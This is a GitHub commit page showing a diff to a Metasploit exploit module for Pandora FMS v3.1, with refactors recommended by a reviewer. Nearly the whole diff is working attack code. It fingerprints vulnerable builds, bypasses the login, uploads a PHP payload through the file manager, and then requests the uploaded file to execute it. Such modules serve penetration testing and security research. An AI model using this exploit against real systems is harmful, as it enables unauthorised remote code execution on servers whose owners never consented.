Skip to content

Commit b3def85

Browse files
committed
Applied changes recommended by jlee-r7
used Rex::ConnectionError refactor begin/rescue blocks removed ::URI::InvalidURIError changed @peer with peer used Exploit::CheckCode:Appears instead of Exploit::CheckCode::Vulnerable
1 parent 547b7f2 commit b3def85

File tree

1 file changed

+33
-39
lines changed

1 file changed

+33
-39
lines changed

modules/exploits/multi/http/pandora_upload_exec.rb

Lines changed: 33 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -69,7 +69,7 @@ def check
6969
if res and res.code == 200
7070
#Tested on v3.1 Build PC100609 and PC100608
7171
if res.body.include?("v3.1 Build PC10060")
72-
return Exploit::CheckCode::Vulnerable
72+
return Exploit::CheckCode::Appears
7373
elsif res.body.include?("Pandora")
7474
return Exploit::CheckCode::Detected
7575
end
@@ -84,35 +84,28 @@ def check
8484

8585
# upload a payload using the pandora built-in file upload
8686
def upload(base, file, cookies)
87+
data = Rex::MIME::Message.new
88+
data.add_part(file, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@fname}\"")
89+
data.add_part("Go", nil, nil, 'form-data; name="go"')
90+
data.add_part("images", nil, nil, 'form-data; name="directory"')
91+
data.add_part("1", nil, nil, 'form-data; name="upload_file"')
92+
data_post = data.to_s
93+
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
8794

88-
begin
89-
data = Rex::MIME::Message.new
90-
data.add_part(file, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@fname}\"")
91-
data.add_part("Go", nil, nil, 'form-data; name="go"')
92-
data.add_part("images", nil, nil, 'form-data; name="directory"')
93-
data.add_part("1", nil, nil, 'form-data; name="upload_file"')
94-
data_post = data.to_s
95-
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
96-
97-
res = send_request_cgi({
98-
'method' => 'POST',
99-
'uri' => normalize_uri(base, 'index.php'),
100-
'cookie' => cookies,
101-
'ctype' => "multipart/form-data; boundary=#{data.bound}",
102-
'vars_get' => {
103-
'sec' => 'gsetup',
104-
'sec2' => 'godmode/setup/file_manager',
105-
},
106-
'data' => data_post
107-
})
108-
109-
register_files_for_cleanup(@fname)
110-
return res
111-
112-
rescue ::URI::InvalidURIError
113-
fail_with(Exploit::Failure::Unknown, "Unable to get the uri correctly")
114-
end
95+
res = send_request_cgi({
96+
'method' => 'POST',
97+
'uri' => normalize_uri(base, 'index.php'),
98+
'cookie' => cookies,
99+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
100+
'vars_get' => {
101+
'sec' => 'gsetup',
102+
'sec2' => 'godmode/setup/file_manager',
103+
},
104+
'data' => data_post
105+
})
115106

107+
register_files_for_cleanup(@fname)
108+
return res
116109
end
117110

118111
def exploit
@@ -140,33 +133,34 @@ def exploit
140133
print_status("Login Bypass Successful")
141134
print_status("cookie monster = " + cookies)
142135
else
143-
print_error("Login Bypass Failed")
136+
fail_with(Exploit::Failure::NotVulnerable, "Login Bypass Failed")
144137
end
145138
end
146139

147140
# upload PHP payload to images/[fname]
148-
print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
141+
print_status("#{peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
149142
php = %Q|<?php #{payload.encoded} ?>|
150143
begin
151144
res = upload(base, php, cookies)
152-
if res and res.code == 200
153-
print_good("#{@peer} - File uploaded successfully")
154-
else
155-
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
156-
end
157145
rescue ::Rex::ConnectionError
158-
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
146+
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
147+
end
148+
149+
if res and res.code == 200
150+
print_good("#{peer} - File uploaded successfully")
151+
else
152+
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Uploading PHP payload failed")
159153
end
160154

161155
# retrieve and execute PHP payload
162-
print_status("#{@peer} - Executing payload (images/#{@fname})")
156+
print_status("#{peer} - Executing payload (images/#{@fname})")
163157
begin
164158
res = send_request_cgi({
165159
'method' => 'GET',
166160
'uri' => normalize_uri(base, 'images', "#{@fname}")
167161
})
168-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
169-
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
162+
rescue ::Rex::ConnectionError
163+
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
170164
end
171165

172166
end

0 commit comments

Comments
 (0)